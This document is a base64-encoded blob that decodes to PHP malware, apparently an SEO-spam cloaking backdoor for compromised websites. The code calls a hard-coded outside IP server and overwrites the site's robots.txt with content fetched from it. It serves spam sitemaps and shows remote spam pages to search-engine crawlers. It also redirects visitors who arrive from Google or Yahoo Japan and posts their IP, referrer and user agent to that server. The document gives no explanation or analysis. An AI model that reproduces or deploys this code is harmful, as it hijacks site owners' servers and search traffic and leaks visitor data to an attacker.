8889841cJHJlcV91cmkgPSBpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgPyAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA6ICcnOwokc2VsZiA9IGlzc2V0KCRfU0VSVkVSWydQSFBfU0VMRiddKSA/ICRfU0VSVkVSWydQSFBfU0VMRiddIDogJyc7CiRhID0gJ2h0dHA6Ly8xNzMuMjA4LjIxNi44Mi96NTA4MTVfOC8nOwoKZnVuY3Rpb24gZ2V0U2VydmVyQ29udCgkdXJsLCAkZGF0YSA9IGFycmF5KCkpewoJJHVybCA9IHN0cl9yZXBsYWNlKCcgJywgJysnLCAkdXJsKTsKCSRjaCA9IGN1cmxfaW5pdCgpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBGQUxTRSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIEZBTFNFKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBodHRwX2J1aWxkX3F1ZXJ5KCRkYXRhKSk7Cgkkb3V0cHV0ID0gY3VybF9leGVjKCRjaCk7CgkkZXJyb3JDb2RlID0gY3VybF9lcnJubygkY2gpOwoJY3VybF9jbG9zZSgkY2gpOwoJaWYoMCE9PSAkZXJyb3JDb2RlKXsKCQlyZXR1cm4gZmFsc2U7Cgl9CglyZXR1cm4gJG91dHB1dDsKfQoKZnVuY3Rpb24gaXNfY3Jhd2xlcigkYWdlbnQpewoJJGFnZW50X2NoZWNrID0gZmFsc2U7CgkkYm90cyA9ICdnb29nbGVib3R8Z29vZ2xlfHlhaG9vfGJpbmd8YW9sJzsKCWlmKCRhZ2VudCAhPSAnJyl7CgkJaWYocHJlZ19tYXRjaCgiLygkYm90cykvc2kiLCAkYWdlbnQpKXsKCQkJJGFnZW50X2NoZWNrID0gdHJ1ZTsKCQl9Cgl9CglyZXR1cm4gJGFnZW50X2NoZWNrOwp9CgpmdW5jdGlvbiBjaGVja19yZWZlcigkcmVmZXIpewoJJGNoZWNrX3JlZmVyID0gZmFsc2U7CgkkcmVmZXJib3RzID0gJ2dvb2dsZS5jby5qcHx5YWhvby5jby5qcHxnb29nbGUuY29tJzsKCWlmKCRyZWZlciAhPSAnJyAmJiBwcmVnX21hdGNoKCIvKCRyZWZlcmJvdHMpL3NpIiwkcmVmZXIpKXsKCQkkY2hlY2tfcmVmZXIgPSB0cnVlOwoJfQoJcmV0dXJuICRjaGVja19yZWZlcjsKfQoKJGh0dHAgPSAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddICE9PSAnb2ZmJykgPyAnaHR0cHM6Ly8nIDogJ2h0dHA6Ly8nOwokZG9tYWluID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOwokc2VyX25hbWUgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKJHJlcV91cmwgPSAkaHR0cC4kZG9tYWluLiRyZXFfdXJpOwokaW5kYXRhMSA9ICRhLiJpbmRhdGEucGhwIjsKJG1hcDEgPSAkYS4ibWFwLnBocCI7CiRqdW1wMSA9ICRhLiJqdW1wLnBocCI7CiR1cmxfd29yZHMgPSAkYS4id29yZHMucGhwIjsKJHVybF9yb2JvdHMgPSAkYS4icm9ib3RzLnBocCI7CiRkYXRhMSA9IGFycmF5KCk7CiRkYXRhMVsnZG9tYWluJ10gPSAkZG9tYWluOwokZGF0YTFbJ3JlcV91cmknXSA9ICRyZXFfdXJpOwokZGF0YTFbJ3JlcV91cmwnXSA9ICRyZXFfdXJsOwokZGF0YTFbJ2hyZWYnXSA9ICRodHRwLiRkb21haW47CiRkYXRhMVsnbWFpbl9zaGVsbCddID0gJGh0dHAuJHNlcl9uYW1lOwppZihzdHJwb3MoJHJlcV91cmksICIucGhwIikpewoJJGRhdGExWydocmVmJ10gLj0gJHNlbGY7CgkkZGF0YTFbJ21haW5fc2hlbGwnXSAuPSAkc2VsZjsKfQoKaWYoc3Vic3RyKCRyZXFfdXJpLCAtNikgPT0gJ3JvYm90cycpewoJJGRhdGExWydyb2JvdHNfY29udCddID0gJyc7CglpZihmaWxlX2V4aXN0cyhfX0RJUl9fLicvcm9ib3RzLnR4dCcpKXsKCQkkZGF0YTFbJ3JvYm90c19jb250J10gPSBAZmlsZV9nZXRfY29udGVudHMoX19ESVJfXy4nL3JvYm90cy50eHQnKTsKCX0JCgkkcm9ib3RzX2NvbnQgPSBAZ2V0U2VydmVyQ29udCgkdXJsX3JvYm90cywgJGRhdGExKTsKCSRzdGF0dXMgPSBmaWxlX3B1dF9jb250ZW50cyhfX0RJUl9fLicvcm9ib3RzLnR4dCcsICRyb2JvdHNfY29udCk7CglpZigkc3RhdHVzKXsKCQllY2hvICdyb2JvdHMudHh0IGZpbGUgY3JlYXRlIHN1Y2Nlc3MhJzsKCX1lbHNlewoJCWVjaG8gInJvYm90cy50eHQgZmlsZSBjcmVhdGUgZmFpbCEiOwoJfQoJZXhpdCgpOwp9CgppZihzdWJzdHIoJHJlcV91cmksIC00KSA9PSAnLnhtbCcpewoJaWYoc3RycG9zKCRyZXFfdXJpLCAiYWxsc2l0ZW1hcC54bWwiKSB8fCBzdHJwb3MoJHJlcV91cmksICJzaXRlbWFwLWluZGV4LnhtbCIpIHx8IHN0cnBvcygkcmVxX3VyaSwgInNpdGVtYXAtaW5kZXgtMS54bWwiKSB8fCBzdHJwb3MoJHJlcV91cmksICJpbmRleC54bWwiKSl7CgkJJHN0cl9jb250ID0gZ2V0U2VydmVyQ29udCgkbWFwMSwkZGF0YTEpOwoJCWhlYWRlcigiQ29udGVudC10eXBlOnRleHQveG1sIik7CgkJZWNobyAkc3RyX2NvbnQ7CgkJZXhpdCgpOwoJfQoJaWYoc3RycG9zKCRyZXFfdXJpLCAiLnBocCIpKXsKCQkkd29yZDQgPSBleHBsb2RlKCI/IiwkcmVxX3VyaSk7CgkJJHdvcmQ0ID0gJHdvcmQ0W2NvdW50KCR3b3JkNCktMV07CgkJJHdvcmQ0ID0gc3RyX3JlcGxhY2UoIi54bWwiLCAiIiwgJHdvcmQ0KTsKCX1lbHNlewoJCSR3b3JkNCA9IHN0cl9yZXBsYWNlKCIvIiwgIiIsICRyZXFfdXJpKTsKCQkkd29yZDQgPSBzdHJfcmVwbGFjZSgiLnhtbCIsICIiLCAkd29yZDQpOwoJfQoJJGRhdGExWyd3b3JkJ10gPSAkd29yZDQ7CgkkZGF0YTFbJ2FjdGlvbiddID0gJ2NoZWNrX3NpdGVtYXAnOwoJJGNoZWNrX3VybDQgPSBnZXRTZXJ2ZXJDb250KCR1cmxfd29yZHMsICRkYXRhMSk7CglpZigkY2hlY2tfdXJsNCA9PSAnMScpewoJCSRzdHJfY29udCA9IGdldFNlcnZlckNvbnQoJG1hcDEsICRkYXRhMSk7CgkJaGVhZGVyKCJDb250ZW50LXR5cGU6dGV4dC94bWwiKTsKCQllY2hvICRzdHJfY29udDsKCQlleGl0KCk7Cgl9CgkkZGF0YTFbJ2FjdGlvbiddID0gImNoZWNrX3dvcmRzIjsKCSRjaGVjazEgPSBnZXRTZXJ2ZXJDb250KCR1cmxfd29yZHMsICRkYXRhMSk7CglpZihzdHJwb3MoJHJlcV91cmksICJtYXAiKSA+IDAgfHwgJGNoZWNrMSA9PSAnMScpICRkYXRhMVsnYWN0aW9uJ10gPSAicmFuZF94bWwiOwoJJGNoZWNrX3VybDQgPSBnZXRTZXJ2ZXJDb250KCR1cmxfd29yZHMsICRkYXRhMSk7CgloZWFkZXIoIkNvbnRlbnQtdHlwZTp0ZXh0L3htbCIpOwoJZWNobyAkY2hlY2tfdXJsNDsKCWV4aXQoKTsKfQoKJHJlZmVyZXIgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddIDogJyc7CiRjaGtfcmVmZXIgPSBjaGVja19yZWZlcigkcmVmZXJlcik7CiR1c2VyX2FnZW50ID0gc3RydG9sb3dlcihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pID8gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddIDogJycpOwokcmVzX2NyYXdsID0gaXNfY3Jhd2xlcigkdXNlcl9hZ2VudCk7CmlmKHN0cnBvcygkcmVxX3VyaSwgJy5waHAnKSl7CgkkdXJsX2V4dCA9ICc/JzsKfWVsc2V7CgkkdXJsX2V4dCA9ICcvJzsKfQppZighJHJlc19jcmF3bCAmJiAkY2hrX3JlZmVyICYmIChwcmVnX21hdGNoKCIjKChcP3xcLylbYS16XSlcPVxkKyMiLCAkcmVxX3VyaSkgfHwgcHJlZ19tYXRjaCgnL3Nob3BkZXRhaWwvJywgJHJlcV91cmkpIHx8IHByZWdfbWF0Y2goJy8uc2h0bWwvJywgJHJlcV91cmkpKSl7CgkkZGF0YTFbJ2lwJ10gPSBpc3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkgPyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA6ICcnOwoJJGRhdGExWydyZWZlcmVyJ10gPSAkcmVmZXJlcjsKCSRkYXRhMVsndXNlcl9hZ2VudCddID0gJHVzZXJfYWdlbnQ7CgllY2hvIGdldFNlcnZlckNvbnQoJGp1bXAxLCAkZGF0YTEpOwoJZXhpdCgpOwp9CmlmKCRyZXNfY3Jhd2wpewoJJGRhdGExWydodHRwX3VzZXJfYWdlbnQnXSA9ICR1c2VyX2FnZW50OwoJJHNlcl9jb250ID0gZ2V0U2VydmVyQ29udCgkaW5kYXRhMSwgJGRhdGExKTsKCWVjaG8gJHNlcl9jb250OwoJZXhpdCgpOwp9Cg==